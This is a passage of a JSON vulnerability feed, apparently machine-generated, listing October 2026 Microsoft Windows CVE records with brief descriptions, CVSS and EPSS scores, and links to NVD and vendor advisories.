1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96248","asOf":"2026-10-16T16:08:35.433Z"},"epss":{"probability":0.01125,"percentile":0.66039,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96248&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96248","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96248","type":"primary","publishedAt":"2026-10-13T19:21:50.773Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96248","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96248&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96248, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96246","cveId":"CVE-2026-96246","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Network Policy Server (NPS) allows an unauthorized attacker to disclose information over a network.","summary":"Out-of-bounds read in Network Policy Server (NPS) allows an unauthorized attacker to disclose information over a network.","detail":"Out-of-bounds read in Network Policy Server (NPS) allows an unauthorized attacker to disclose information over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:50.407Z","updatedAt":"2026-10-20T00:33:49.493Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96246","asOf":"2026-10-20T00:33:49.493Z"},"epss":{"probability":0.00983,"percentile":0.62053,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96246&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96246","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96246","type":"primary","publishedAt":"2026-10-13T19:21:50.407Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96246","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96246&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96246, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96245","cveId":"CVE-2026-96245","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network.","summary":"Out-of-bounds read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network.","detail":"Out-of-bounds read in Windows Routing and Remote Access Service (RRAS) allows an unauthorized attacker to disclose information over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:50.147Z","updatedAt":"2026-10-16T16:22:47.000Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","Microsoft Office","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96245","asOf":"2026-10-16T16:22:47.000Z"},"epss":{"probability":0.00983,"percentile":0.62053,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96245&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96245","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96245","type":"primary","publishedAt":"2026-10-13T19:21:50.147Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96245","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96245&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96245, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96244","cveId":"CVE-2026-96244","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Internal System User Profile allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Internal System User Profile allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Internal System User Profile allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:49.980Z","updatedAt":"2026-10-16T17:09:23.373Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96244","asOf":"2026-10-16T17:09:23.373Z"},"epss":{"probability":0.00311,"percentile":0.237,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96244&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96244","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96244","type":"primary","publishedAt":"2026-10-13T19:21:49.980Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96244","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96244&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96244, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96243","cveId":"CVE-2026-96243","aliases":[],"kind":"vulnerability","title":"Improper link resolution before file access ('link following') in Windows WalletService allows an authorized attacker to elevate privileges locally.","summary":"Improper link resolution before file access ('link following') in Windows WalletService allows an authorized attacker to elevate privileges locally.","detail":"Improper link resolution before file access ('link following') in Windows WalletService allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:49.820Z","updatedAt":"2026-10-16T17:17:54.583Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","Microsoft Office","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96243","asOf":"2026-10-16T17:17:54.583Z"},"epss":{"probability":0.00333,"percentile":0.2634,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96243&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96243","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96243","type":"primary","publishedAt":"2026-10-13T19:21:49.820Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96243","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96243&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96243, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96223","cveId":"CVE-2026-96223","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Hyper-V allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Hyper-V allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Hyper-V allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:48.210Z","updatedAt":"2026-10-16T17:07:32.750Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 24h2","stacks":["Microsoft Windows","Hyper-V","windows 11 24h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96223","asOf":"2026-10-16T17:07:32.750Z"},"epss":{"probability":0.00311,"percentile":0.237,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96223&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96223","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96223","type":"primary","publishedAt":"2026-10-13T19:21:48.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96223","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96223&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96223, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96222","cveId":"CVE-2026-96222","aliases":[],"kind":"vulnerability","title":"Improper certificate validation in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.","summary":"Improper certificate validation in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.","detail":"Improper certificate validation in Active Directory Federation Services (AD FS) allows an unauthorized attacker to perform spoofing over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:48.030Z","updatedAt":"2026-10-22T22:19:55.133Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96222","asOf":"2026-10-22T22:19:55.133Z"},"epss":{"probability":0.00586,"percentile":0.47753,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96222&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96222","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96222","type":"primary","publishedAt":"2026-10-13T19:21:48.030Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96222","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96222&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96222, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96220","cveId":"CVE-2026-96220","aliases":[],"kind":"vulnerability","title":"Improper control of generation of code ('code injection') in Windows Assigned Access allows an authorized attacker to elevate privileges locally.","summary":"Improper control of generation of code ('code injection') in Windows Assigned Access allows an authorized attacker to elevate privileges locally.","detail":"Improper control of generation of code ('code injection') in Windows Assigned Access allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:47.890Z","updatedAt":"2026-10-16T17:08:52.900Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","Microsoft Office","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96220","asOf":"2026-10-16T17:08:52.900Z"},"epss":{"probability":0.00301,"percentile":0.22551,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96220&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96220","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96220","type":"primary","publishedAt":"2026-10-13T19:21:47.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96220","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96220&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96220, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96217","cveId":"CVE-2026-96217","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows NTFS allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:47.413Z","updatedAt":"2026-10-16T16:22:45.800Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96217","asOf":"2026-10-16T16:22:45.800Z"},"epss":{"probability":0.00311,"percentile":0.23698,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96217&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96217","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96217","type":"primary","publishedAt":"2026-10-13T19:21:47.413Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96217","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96217&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96217, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96216","cveId":"CVE-2026-96216","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:47.250Z","updatedAt":"2026-10-16T16:22:45.650Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1809","stacks":["Microsoft Windows","windows 10 1809"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96216","asOf":"2026-10-16T16:22:45.650Z"},"epss":{"probability":0.00246,"percentile":0.15676,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96216&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96216","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96216","type":"primary","publishedAt":"2026-10-13T19:21:47.250Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96216","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96216&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96216, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96215","cveId":"CVE-2026-96215","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Autopilot allows an authorized attacker to elevate privileges locally.","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Autopilot allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Autopilot allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:47.117Z","updatedAt":"2026-10-16T14:59:27.587Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 24h2","stacks":["Microsoft Windows","windows 11 24h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96215","asOf":"2026-10-16T14:59:27.587Z"},"epss":{"probability":0.00188,"percentile":0.08392,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96215&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96215","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96215","type":"primary","publishedAt":"2026-10-13T19:21:47.117Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96215","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96215&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96215, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96209","cveId":"CVE-2026-96209","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Network File System allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows Network File System allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows Network File System allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:46.940Z","updatedAt":"2026-10-16T17:17:53.823Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96209","asOf":"2026-10-16T17:17:53.823Z"},"epss":{"probability":0.00279,"percentile":0.20192,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96209&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96209","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96209","type":"primary","publishedAt":"2026-10-13T19:21:46.940Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96209","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for 